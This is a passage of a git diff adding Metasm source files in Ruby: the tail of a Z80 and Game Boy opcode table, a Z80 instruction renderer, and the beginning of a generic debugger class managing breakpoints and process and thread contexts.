+    addop 'add',  [0b00_001_001], :r_hl, :rp
+
+    addop 'ld',   [0b00_000_010], :m_bc, :r_a
+    addop 'ld',   [0b00_001_010], :r_a, :m_bc
+    addop 'ld',   [0b00_010_010], :m_de, :r_a
+    addop 'ld',   [0b00_011_010], :r_a, :m_de
+
+    addop 'inc',  [0b00_000_011], :rp
+    addop 'dec',  [0b00_001_011], :rp
+    addop 'inc',  [0b00_000_100], :ry
+    addop 'dec',  [0b00_000_101], :ry
+    addop 'ld',   [0b00_000_110], :ry, :i8
+
+    addop 'rlca', [0b00_000_111]	# rotate
+    addop 'rrca', [0b00_001_111]
+    addop 'rla',  [0b00_010_111]
+    addop 'rra',  [0b00_011_111]
+
+    addop 'daa',  [0b00_100_111]
+    addop 'cpl',  [0b00_101_111]
+    addop 'scf',  [0b00_110_111]
+    addop 'ccf',  [0b00_111_111]
+
+    addop 'halt', [0b01_110_110]	# ld (HL), (HL)
+    addop 'ld',   [0b01_000_000], :ry, :rz
+
+    addop 'add',  [0b10_000_000], :r_a, :rz
+    addop 'adc',  [0b10_001_000], :r_a, :rz
+    addop 'sub',  [0b10_010_000], :r_a, :rz
+    addop 'sbc',  [0b10_011_000], :r_a, :rz
+    addop 'and',  [0b10_100_000], :r_a, :rz
+    addop 'xor',  [0b10_101_000], :r_a, :rz
+    addop 'or',   [0b10_110_000], :r_a, :rz
+    addop 'cmp',  [0b10_111_000], :r_a, :rz	# alias cp
+    addop 'cp',   [0b10_111_000], :r_a, :rz	# compare
+
+    addop_macrocc 'ret', [0b11_000_000], :setip
+    addop 'pop',  [0b11_000_001], :rp2
+    addop 'ret',  [0b11_001_001], :stopexec, :setip
+    addop 'jmp',  [0b11_101_001], :r_hl, :setip, :stopexec	# alias jp
+    addop 'jp',   [0b11_101_001], :r_hl, :setip, :stopexec
+    addop 'ld',   [0b11_111_001], :r_sp, :r_hl
+    addop_macrocc 'j',  [0b11_000_010], :setip, :u16	# alias jp
+    addop_macrocc 'jp', [0b11_000_010], :setip, :u16
+    addop 'jmp',  [0b11_000_011], :setip, :stopexec, :u16	# alias jp
+    addop 'jp',   [0b11_000_011], :setip, :stopexec, :u16
+
+    addop 'di',   [0b11_110_011]				# disable interrupts
+    addop 'ei',   [0b11_111_011]
+    addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip
+    addop 'push', [0b11_000_101], :rp2
+    addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec
+
+    addop 'add',  [0b11_000_110], :r_a, :i8
+    addop 'adc',  [0b11_001_110], :r_a, :i8
+    addop 'sub',  [0b11_010_110], :r_a, :i8
+    addop 'sbc',  [0b11_011_110], :r_a, :i8
+    addop 'and',  [0b11_100_110], :r_a, :i8
+    addop 'xor',  [0b11_101_110], :r_a, :i8
+    addop 'or',   [0b11_110_110], :r_a, :i8
+    addop 'cp',   [0b11_111_110], :r_a, :i8
+
+    addop 'rst',  [0b11_000_111], :iy8		# call off in page 0
+
+    addop 'rlc',  [0xCB, 0b00_000_000], :rz		# rotate
+    addop 'rrc',  [0xCB, 0b00_001_000], :rz
+    addop 'rl',   [0xCB, 0b00_010_000], :rz
+    addop 'rr',   [0xCB, 0b00_011_000], :rz
+    addop 'sla',  [0xCB, 0b00_100_000], :rz		# shift
+    addop 'sra',  [0xCB, 0b00_101_000], :rz
+    addop 'srl',  [0xCB, 0b00_111_000], :rz
+    addop 'bit',  [0xCB, 0b01_000_000], :iy, :rz	# bit test
+    addop 'res',  [0xCB, 0b10_000_000], :iy, :rz	# bit reset
+    addop 'set',  [0xCB, 0b11_000_000], :iy, :rz	# bit set
+  end
+
+  # standard z80
+  def init_z80
+    init_z80_common
+
+    addop 'ex',   [0b00_001_000], :r_af		# XXX really ex AF, AF' ...
+    addop 'djnz', [0b00_010_000], :setip, :i8
+
+    addop 'ld',   [0b00_100_010], :m16, :r_hl
+    addop 'ld',   [0b00_101_010], :r_hl, :m16
+    addop 'ld',   [0b00_110_010], :m16, :r_a
+    addop 'ld',   [0b00_111_010], :r_a, :m16
+
+    addop 'exx',  [0b11_011_001]
+    addop 'out',  [0b11_010_011], :i8, :r_a
+    addop 'in',   [0b11_011_011], :r_a, :i8
+
+    addop 'ex',   [0b11_100_011], :m_sp, :r_hl
+    addop 'ex',   [0b11_101_011], :r_de, :r_hl
+
+    addop 'sll',  [0xCB, 0b00_110_000], :rz
+
+    addop 'in',   [0xED, 0b01_110_000], :u16
+    addop 'in',   [0xED, 0b01_000_000], :ry, :u16
+    addop 'out',  [0xED, 0b01_110_001], :u16
+    addop 'out',  [0xED, 0b01_000_001], :u16, :ry
+    addop 'sbc',  [0xED, 0b01_000_010], :r_hl, :rp
+    addop 'adc',  [0xED, 0b01_001_010], :r_hl, :rp
+    addop 'ld',   [0xED, 0b01_000_011], :m16, :rp
+    addop 'ld',   [0xED, 0b01_001_011], :rp, :m16
+    addop 'neg',  [0xED, 0b01_000_100], :r_a, :iy	# dummy int field
+    addop 'retn', [0xED, 0b01_000_101], :stopexec	# dummy int != 1 ? (1 = reti)
+    addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip
+    addop 'im',   [0xED, 0b01_000_110], :iy
+    addop 'ld',   [0xED, 0b01_000_111], :r_i, :r_a
+    addop 'ld',   [0xED, 0b01_001_111], :r_r, :r_a
+    addop 'ld',   [0xED, 0b01_010_111], :r_a, :r_i
+    addop 'ld',   [0xED, 0b01_011_111], :r_a, :r_r
+    addop 'rrd',  [0xED, 0b01_100_111]
+    addop 'rld',  [0xED, 0b01_101_111]
+
+    addop 'ldi',  [0xED, 0b10_100_000]
+    addop 'ldd',  [0xED, 0b10_101_000]
+    addop 'ldir', [0xED, 0b10_110_000]
+    addop 'lddr', [0xED, 0b10_111_000]
+    addop 'cpi',  [0xED, 0b10_100_001]
+    addop 'cpd',  [0xED, 0b10_101_001]
+    addop 'cpir', [0xED, 0b10_110_001]
+    addop 'cpdr', [0xED, 0b10_111_001]
+    addop 'ini',  [0xED, 0b10_100_010]
+    addop 'ind',  [0xED, 0b10_101_010]
+    addop 'inir', [0xED, 0b10_110_010]
+    addop 'indr', [0xED, 0b10_111_010]
+    addop 'outi', [0xED, 0b10_100_011]
+    addop 'outd', [0xED, 0b10_101_011]
+    addop 'otir', [0xED, 0b10_110_011]
+    addop 'otdr', [0xED, 0b10_111_011]
+
+    addop 'unk_ed', [0xED], :i8
+
+    addop 'unk_nop', [], :i8	# undefined opcode = nop
+    @unknown_opcode = @opcode_list.last
+  end
+
+  # gameboy processor
+  # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80
+  def init_gb
+    init_z80_common
+
+    addop 'ld',   [0x08], :m16, :r_sp
+    addop 'stop', [0x10]
+
+    addop 'ldi',  [0x22], :m_hl, :r_a	# (hl++) <- a
+    addop 'ldi',  [0x2A], :r_a, :m_hl
+    addop 'ldd',  [0x32], :m_hl, :r_a	# (hl--) <- a
+    addop 'ldd',  [0x3A], :r_a, :m_hl
+
+    addop 'reti', [0xD9], :setip, :stopexec
+
+    # override retpo/jpo
+    @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 }	# rm E0 E2 E8 EA F0 F2 F8 FA
+    addop 'ld',  [0xE0], :mf8, :r_a	# (0xff00 + :i8)
+    addop 'ld',  [0xE2], :mfc, :r_a	# (0xff00 + :r_c)
+    addop 'add', [0xE8], :r_sp, :i8
+    addop 'ld',  [0xEA], :m16, :r_a
+    addop 'ld',  [0xF0], :r_a, :mf8
+    addop 'ld',  [0xF2], :r_a, :mfc
+    addop 'ld',  [0xF8], :r_hl, :r_sp, :i8	# hl <- sp+:i8
+    addop 'ld',  [0xFA], :r_a, :m16
+
+    addop 'swap', [0xCB, 0x30], :rz
+
+    addop 'inv_dd', [0xDD], :stopexec	# invalid prefixes
+    addop 'inv_ed', [0xED], :stopexec
+    addop 'inv_fd', [0xFD], :stopexec
+
+    addop 'unk_nop', [], :i8	# undefined opcode = nop
+    @unknown_opcode = @opcode_list.last
+  end
+
+  alias init_latest init_z80
+end
+end
diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb
new file mode 100644
index 0000000000..51a7b2e81b
--- /dev/null
+++ b/lib/metasm/metasm/cpu/z80/render.rb
@@ -0,0 +1,59 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/z80/opcodes'
+require 'metasm/render'
+
+module Metasm
+class Z80
+  class Reg
+    include Renderable
+    def render ; [self.class.i_to_s[@sz][@i]] end
+  end
+  class Memref
+    include Renderable
+    def render
+      r = ['(']
+      r << @base if @base
+      r << '+' if @base and @offset
+      r << @offset if @offset
+      r << ')'
+    end
+  end
+
+  def render_instruction(i)
+    r = []
+    r << i.opname
+    if not i.args.empty?
+      r << ' '
+      i.args.each { |a_| r << a_ << ', ' }
+      r.pop
+    end
+    r
+  end
+
+  def gui_hilight_word_regexp_init
+    ret = {}
+
+    # { 'B' => 'B|BC', 'BC' => 'B|C|BC' }
+
+    %w[BC DE HL].each { |w|
+      l0, l1 = w.split(//)
+      ret[l0] = "#{l0}#{l1}?"
+      ret[l1] = "#{l0}?#{l1}"
+      ret[w] = "#{l0}|#{l0}?#{l1}"
+    }
+
+    ret
+  end
+
+  def gui_hilight_word_regexp(word)
+    @gui_hilight_word_hash ||= gui_hilight_word_regexp_init
+    @gui_hilight_word_hash[word] or super(word)
+  end
+
+end
+end
diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb
new file mode 100644
index 0000000000..26e88df103
--- /dev/null
+++ b/lib/metasm/metasm/debug.rb
@@ -0,0 +1,1445 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+module Metasm
+# this class implements a high-level debugging API (abstract superclass)
+class Debugger
+  class Breakpoint
+    attr_accessor :address,
+      # context where the bp was defined
+      :pid, :tid,
+      # bool: oneshot ?
+      :oneshot,
+      # current bp state: :active, :inactive (internal use), :disabled (user-specified)
+      :state,
+      # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory)
+      :type,
+      # Expression if this is a conditionnal bp
+      # may be a Proc, String or Expression, evaluated every time the breakpoint hits
+      # if it returns 0 or false, the breakpoint is ignored
+      :condition,
+      # Proc to run if this bp has a callback
+      :action,
+      # Proc to run to emulate the overwritten instr behavior
+      # used to avoid unset/singlestep/re-set, more multithread friendly
+      # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx)
+      :emul_instr,
+      # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..)
+      :internal,
+      # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...)
+      #  shared is an array of Breakpoints, the same Array object in all shared breakpoints
+      #  owner is a hash key => shared (dbg.breakpoint)
+      #  key is an identifier for the Bp class in owner (bp.address)
+      :hash_shared, :hash_owner, :hash_key,
+      # user-defined breakpoint-specific stuff
+      :userdata
+
+    # append the breakpoint to hash_owner + hash_shared
+    def add(owner=@hash_owner)
+      @hash_owner = owner
+      @hash_key ||= @address
+      return add_bpm if @type == :bpm
+      if pv = owner[@hash_key]
+        @hash_shared  = pv.hash_shared
+        @internal   ||= pv.internal
+        @emul_instr ||= pv.emul_instr
+      else
+        owner[@hash_key] = self
+        @hash_shared = []
+      end
+      @hash_shared << self
+    end
+
+    # register a bpm: add references to all page start covered in @hash_owner
+    def add_bpm
+      m = @address + @internal[:len]
+      a = @address & -0x1000
+      @hash_shared = [self]
+
+      @internal ||= {}
+      @internal[:orig_prot] ||= {}
+      while a < m
+        if pv = @hash_owner[a]
+          if not pv.hash_shared.include?(self)
+            pv.hash_shared.concat @hash_shared-pv.hash_shared
+            @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared }
+          end
+          @internal[:orig_prot][a] = pv.internal[:orig_prot][a]
+        else
+          @hash_owner[a] = self
+        end
+        a += 0x1000
+      end
+    end
+
+    # delete the breakpoint from hash_shared, and hash_owner if empty
+    def del
+      return del_bpm if @type == :bpm
+      @hash_shared.delete self
+      if @hash_shared.empty?
+        @hash_owner.delete @hash_key
+      elsif @hash_owner[@hash_key] == self
+        @hash_owner[@hash_key] = @hash_shared.first
+      end
+    end
+
+    # unregister a bpm
+    def del_bpm
+      m = @address + @internal[:len]
+      a = @address & -0x1000
+      @hash_shared.delete self
+      while a < m
+        pv = @hash_owner[a]
+        if pv == self
+          if opv = @hash_shared.find { |bpm|
+              bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a
+            }
+            @hash_owner[a] = opv
+          else
+            @hash_owner.delete a
+
+            # split hash_shared on disjoint ranges
+            prev_shared = @hash_shared.find_all { |bpm|
+              bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a
+            }
+
+            prev_shared.each { |bpm|
+              bpm.hash_shared = prev_shared
+              @hash_shared.delete bpm
+            }
+          end
+        end
+        a += 0x1000
+      end
+    end
+  end
+
+  # per-process data
+  attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory,
+    :modulemap, :symbols, :symbols_len
+  # per-thread data
+  attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method,
+    :run_args, :breakpoint_cause
+
+  # which/where per-process/thread stuff is stored
+  attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list
+
+  # global debugger callbacks, called whenever such event occurs
+  attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm,
+    :callback_exception, :callback_newthread, :callback_endthread,
+    :callback_newprocess, :callback_endprocess, :callback_loadlibrary
+
+  # global switches, specify wether to break on exception/thread event
+  #  can be a Proc that is evaluated (arg = info parameter of the evt_func)
+  # trace_children is a bool to tell if we should debug subprocesses spawned
+  #  by the target
+  attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread,
+    :trace_children
+
+  # link to the user-interface object if available
+  attr_accessor :gui
+
+  # initializes the disassembler internal data - subclasses should call super()
+  def initialize
+    @pid_stuff = {}
+    @tid_stuff = {}
+    @log_proc = nil
+    @state = :dead
+    @info = ''
+    # stuff saved when we switch pids
+    @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len,
+      :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff,
+      :dead_process]
+    @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb,
+      :run_method, :run_args, :breakpoint_cause, :dead_thread]
+    @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue }
+    @callback_newprocess = lambda { |h| log "process #{@pid} attached" }
+    @callback_endprocess = lambda { |h| log "process #{@pid} died" }
+    initialize_newpid
+    initialize_newtid
+  end
+
+  def dasm; disassembler; end
+
+  def shortname; self.class.name.split('::').last.downcase; end
+
+  attr_reader :pid
+  # change pid and associated cached data
+  # this will also re-load the previously selected tid for this process
+  def pid=(npid)
+    return if npid == pid
+    raise "invalid pid" if not check_pid(npid)
+    swapout_pid
+    @pid = npid
+    swapin_pid
+  end
+  alias set_pid pid=
+
+  attr_reader :tid
+  def tid=(ntid)
+    return if ntid == tid
+    raise "invalid tid" if not check_tid(ntid)
+    swapout_tid
+    @tid = ntid
+    swapin_tid
+  end
+  alias set_tid tid=
+
+  # creates stuff related to a new process being debugged
+  # includes disassembler, modulemap, symbols, breakpoints
+  # subclasses should check that @pid maps to a real process and raise() otherwise
+  # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu
+  def initialize_newpid
+    return if not pid
+    @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) }
+
+    @symbols = {}
+    @symbols_len = {}
+    @modulemap = {}
+    @breakpoint = {}
+    @breakpoint_memory = {}
+    @tid_stuff = {}
+    initialize_cpu
+    initialize_memory
+    initialize_disassembler
+  end
+
+  # subclasses should check that @tid maps to a real thread and raise() otherwise
+  def initialize_newtid
+    return if not tid
+    @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) }
+
+    @state = :stopped
+    @info = 'new'
+    @breakpoint_thread = {}
+    gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid)
+  end
+
+  # initialize the disassembler from @cpu/@memory
+  def initialize_disassembler
+    return if not @memory or not @cpu
+    @disassembler = Shellcode.decode(@memory, @cpu).disassembler
+    gui.swapin_pid if gui.respond_to?(:swapin_pid)
+  end
+
+  # we're switching focus from one pid to another, save current pid data
+  def swapout_pid
+    return if not pid
+    swapout_tid
+    gui.swapout_pid if gui.respond_to?(:swapout_pid)
+    @pid_stuff[@pid] ||= {}
+    @pid_stuff_list.each { |fld|
+      @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}")
+    }
+  end
+
+  # we're switching focus from one tid to another, save current tid data
+  def swapout_tid
+    return if not tid
+    gui.swapout_tid if gui.respond_to?(:swapout_tid)
+    @tid_stuff[@tid] ||= {}
+    @tid_stuff_list.each { |fld|
+      @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}")
+    }
+  end
+
+  # we're switching focus from one pid to another, load current pid data
+  def swapin_pid
+    return initialize_newpid if not @pid_stuff[@pid]
+
+    @pid_stuff_list.each { |fld|
+      instance_variable_set("@#{fld}", @pid_stuff[@pid][fld])
+    }
+    swapin_tid
+    gui.swapin_pid if gui.respond_to?(:swapin_pid)
+  end
+
+  # we're switching focus from one tid to another, load current tid data
+  def swapin_tid
+    return initialize_newtid if not @tid_stuff[@tid]
+
+    @tid_stuff_list.each { |fld|
+      instance_variable_set("@#{fld}", @tid_stuff[@tid][fld])
+    }
+    gui.swapin_tid if gui.respond_to?(:swapin_tid)
+  end
+
+  # delete references to the current pid
+  # switch to another pid, set @state = :dead if none available
+  def del_pid
+    @pid_stuff.delete @pid
+    if @pid = @pid_stuff.keys.first
+      swapin_pid
+    else
+      @state = :dead
+      @info = ''
+      @tid = nil
+    end
+  end
+
+  # delete references to the current thread
+  def del_tid
+    @tid_stuff.delete @tid
+    if @tid = @tid_stuff.keys.first
+      swapin_tid
+    else
+      del_tid_notid
+    end
+  end
+
+  # wipe the whole process when no TID is left
+  # XXX we may have a pending evt_newthread...
+  def del_tid_notid
+    del_pid
+  end
+
+
+  # change the debugger to a specific pid/tid
+  # if given a block, run the block and then restore the original pid/tid
+  # pid may be an object that respond to #pid/#tid
+  def switch_context(npid, ntid=nil, &b)
+    if npid.respond_to?(:pid)
+      ntid ||= npid.tid
+      npid = npid.pid
+    end
+    oldpid = pid
+    oldtid = tid
+    set_pid npid
+    set_tid ntid if ntid
+    if b
+      # shortcut begin..ensure overhead
+      return b.call if oldpid == pid and oldtid == tid
+
+      begin
+        b.call
+      ensure
+        set_pid oldpid
+        set_tid oldtid
+      end
+    end
+  end
+  alias set_context switch_context
+
+  # iterate over all pids, yield in the context of this pid
+  def each_pid(&b)
+    # ensure @pid is last, so that we finish in the current context
+    lst = @pid_stuff.keys - [@pid]
+    lst << @pid
+    return lst if not b
+    lst.each { |p|
+      set_pid p
+      b.call
+    }
+  end
+
+  # iterate over all tids of the current process, yield in its context
+  def each_tid(&b)
+    lst = @tid_stuff.keys - [@tid]
+    lst << @tid
+    return lst if not b
+    lst.each { |t|
+      set_tid t rescue next
+      b.call
+    }
+  end
+
+  # iterate over all tids of all pids, yield in their context
+  def each_pid_tid(&b)
+    each_pid { each_tid { b.call } }
+  end
+
+
+  # create a thread/process breakpoint
+  # addr can be a numeric address, an Expression that is resolved, or
+  #  a String that is parsed+resolved
+  # info's keys are set to the breakpoint
+  # standard keys are :type, :oneshot, :condition, :action
+  # returns the Breakpoint object
+  def add_bp(addr, info={})
+    info[:pid] ||= @pid
+    # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write
+    info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp
+
+    b = Breakpoint.new
+    info.each { |k, v|
+      b.send("#{k}=", v)
+    }
+
+    switch_context(b) {
+      addr = resolve_expr(addr) if not addr.kind_of? ::Integer
+      b.address = addr
+
+      b.hash_owner ||= case b.type
+        when :bpm;  @breakpoint_memory
+        when :hwbp; @breakpoint_thread
+        when :bpx;  @breakpoint
+        end
+      # XXX bpm may hash_share with an :active, but be larger and still need enable()
+      b.add
+
+      enable_bp(b) if not info[:state]
+    }
+
+    b
+  end
+
+  # remove a breakpoint
+  def del_bp(b)
+    disable_bp(b)
+    b.del
+  end
+
+  # activate an inactive breakpoint
+  def enable_bp(b)
+    return if b.state == :active
+    if not b.hash_shared.find { |bb| bb.state == :active }
+      switch_context(b) {
+        if not b.internal
+          init_bpx(b) if b.type == :bpx
+          b.internal ||= {}
+          b.hash_shared.each { |bb| bb.internal ||= b.internal }
+        end
+        do_enable_bp(b)
+      }
+    end
+    b.state = :active
+  end
+
+  # deactivate an active breakpoint
+  def disable_bp(b, newstate = :inactive)
+    return if b.state != :active
+    b.state = newstate
+    return if b.hash_shared.find { |bb| bb.state == :active }
+    switch_context(b) {
+      do_disable_bp(b)
+    }
+  end
+
+
+  # delete all breakpoints defined in the current thread
+  def del_all_breakpoints_thread
+    @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
+  end
+
+  # delete all breakpoints for the current process and all its threads
+  def del_all_breakpoints
+    each_tid { del_all_breakpoints_thread }
+    @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
+    @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
+  end
+
+  # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp
+  def do_enable_bp(b)
+    if b.type == :bpm; do_enable_bpm(b)
+    else @cpu.dbg_enable_bp(self, b)
+    end
+  end
+
+  # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp
+  def do_disable_bp(b)
+    if b.type == :bpm; do_disable_bpm(b)
+    else @cpu.dbg_disable_bp(self, b)
+    end
+  end
+
+  # called in the context of the target when a bpx is to be initialized
+  # may (lazily) initialize b.emul_instr for virtual singlestep
+  def init_bpx(b)
+    # dont bother setting stuff up if it is never to be used
+    return if b.oneshot and not b.condition
+
+    # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed
+    # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx
+    di = init_bpx_disassemble(b.address)
+    b.hash_shared.each { |bb| bb.emul_instr = di }
+  end
+
+  # retrieve the di at a given address, disassemble if needed
+  # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep()
+  # (right now, when they see the block already present they stop all processing)
+  def init_bpx_disassemble(addr)
+    @disassembler.disassemble_fast_block(addr)
+    @disassembler.di_at(addr)
+  end
+
+  # checks if bp has an emul_instr
+  # do the lazy initialization if needed
+  def has_emul_instr(bp)
+    if bp.emul_instr.kind_of?(DecodedInstruction)
+      if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and
+          fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and
+            k != :incomplete_binding and v != Expression::Unknown }
+        # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction
+        bp.emul_instr = lambda {
+          fdbd.map { |k, v|
+            k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection)
+            [k, emulinstr_resv(v)]
+          }.each { |k, v|
+            if k.to_s =~ /flags?_(.+)/i
+              f = $1.downcase.to_sym
+              set_flag_value(f, v)
+            elsif k.kind_of?(Symbol)
+              set_reg_value(k, v)
+            elsif k.kind_of?(Indirection)
+              memory_write_int(k.pointer, v, k.len)
+            end
+          }
+        }
+        bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr }
+      else
+        bp.hash_shared.each { |bb| bb.emul_instr = nil }
+      end
+    end
+
+    bp.emul_instr
+  end
+
+  def emulinstr_resv(e)
+    r = e
+    flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i }
+    if flags.first
+      bd = {}
+      flags.each { |f|
+        f.to_s =~ /flags?_(.+)/i
+        bd[f] = get_flag_value($1.downcase.to_sym)
+      }
+      r = r.bind(bd)
+    end
+    resolve(r)
+  end
+
+  # sets a breakpoint on execution
+  def bpx(addr, oneshot=false, cond=nil, &action)
+    h = { :type => :bpx }
+    h[:oneshot] = true if oneshot
+    h[:condition] = cond if cond
+    h[:action] = action if action
+    add_bp(addr, h)
+  end
+
+  # sets a hardware breakpoint
+  # mtype in :r :w :x
+  # mlen is the size of the memory zone to cover
+  # mlen may be constrained by the architecture
+  def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action)
+    h = { :type => :hwbp }
+    h[:hash_owner] = @breakpoint_thread
+    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
+    mtype = mtype.to_sym
+    h[:hash_key] = [addr, mtype, mlen]
+    h[:internal] = { :type => mtype, :len => mlen }
+    h[:oneshot] = true if oneshot
+    h[:condition] = cond if cond
+    h[:action] = action if action
+    add_bp(addr, h)
+  end
+
+  # sets a memory breakpoint
+  # mtype is :r :w :rw or :x
+  # mlen is the size of the memory zone to cover
+  def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action)
+    h = { :type => :bpm }
+    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
+    h[:hash_key] = addr & -4096	# XXX actually referenced at addr, addr+4096, ... addr+len
+    h[:internal] = { :type => mtype, :len => mlen }
+    h[:oneshot] = true if oneshot
+    h[:condition] = cond if cond
+    h[:action] = action if action
+    add_bp(addr, h)
+  end
+
+
+  # define the lambda to use to log stuff
+  def set_log_proc(l=nil, &b)
+    @log_proc = l || b
+  end
+
+  # show information to the user, uses log_proc if defined
+  def log(*a)
+    if @log_proc
+      a.each { |aa| @log_proc[aa] }
+    else
+      puts(*a) if $VERBOSE
+    end
+  end
+
+
+  # marks the current cache of memory/regs invalid
+  def invalidate
+    @memory.invalidate if @memory
+  end
+
+  # invalidates the EncodedData backend for the dasm sections
+  def dasm_invalidate
+    disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler
+  end
+
+  # return all breakpoints set on a specific address (or all bp)
+  def all_breakpoints(addr=nil)
+    ret = []
+    if addr
+      if b = @breakpoint[addr]
+        ret |= b.hash_shared
+      end
+    else
+      @breakpoint.each_value { |bb| ret |= bb.hash_shared }
+    end
+
+    @breakpoint_thread.each_value { |bb|
+      next if addr and bb.address != addr
+      ret |= bb.hash_shared
+    }
+
+    @breakpoint_memory.each_value { |bb|
+      next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr)
+      ret |= bb.hash_shared
+    }
+
+    ret
+  end
+
+  # return on of the breakpoints at address addr
+  def find_breakpoint(addr=nil, &b)
+    return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr]))
+    all_breakpoints(addr).find { |bp| b.call bp }
+  end
+
+
+  # to be called right before resuming execution of the target
+  # run_m is the method that should be called if the execution is stopped
+  # due to a side-effect of the debugger (bpx with wrong condition etc)
+  # returns nil if the execution should be avoided (just deleted the dead thread/process)
+  def check_pre_run(run_m, *run_a)
+    if @dead_process
+      del_pid
+      return
+    elsif @dead_thread
+      del_tid
+      return
+    elsif @state == :running
+      return
+    end
+    @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run)
+    @breakpoint_cause = nil
+    @run_method = run_m
+    @run_args = run_a
+    @info = nil
+    true
+  end
+
+
+  # called when the target stops due to a singlestep exception
+  def evt_singlestep(b=nil)
+    b ||= find_singlestep
+    return evt_exception(:type => 'singlestep') if not b
+
+    @state = :stopped
+    @info = 'singlestep'
+    @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep)
+
+    callback_singlestep[] if callback_singlestep
+
+    if cb = @singlestep_cb
+      @singlestep_cb = nil
+      cb.call	# call last, as the cb may change singlestep_cb/state/etc
+    end
+  end
+
+  # returns true if the singlestep is due to us
+  def find_singlestep
+    return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep)
+    @run_method == :singlestep
+  end
+
+  # called when the target stops due to a soft breakpoint exception
+  def evt_bpx(b=nil)
+    b ||= find_bp_bpx
+    # TODO handle race:
+    # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception
+    return evt_exception(:type => 'breakpoint') if not b
+
+    @state = :stopped
+    @info = 'breakpoint'
+    @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx)
+
+    callback_bpx[b] if callback_bpx
+
+    post_evt_bp(b)
+  end
+
+  # return the breakpoint that is responsible for the evt_bpx
+  def find_bp_bpx
+    return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx)
+    @breakpoint[pc]
+  end
+
+  # called when the target stops due to a hwbp exception
+  def evt_hwbp(b=nil)
+    b ||= find_bp_hwbp
+    return evt_exception(:type => 'hwbp') if not b
+
+    @state = :stopped
+    @info = 'hwbp'
+    @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp)
+
+    callback_hwbp[b] if callback_hwbp
+
+    post_evt_bp(b)
+  end
+
+  # return the breakpoint that is responsible for the evt_hwbp
+  def find_bp_hwbp
+    return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp)
+    @breakpoint_thread.find { |b| b.address == pc }
+  end
+
+  # called for archs where the same interrupt is generated for hwbp and singlestep
+  # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which
+  # will forward to evt_exception if singlestep does not match either)
+  def evt_hwbp_singlestep
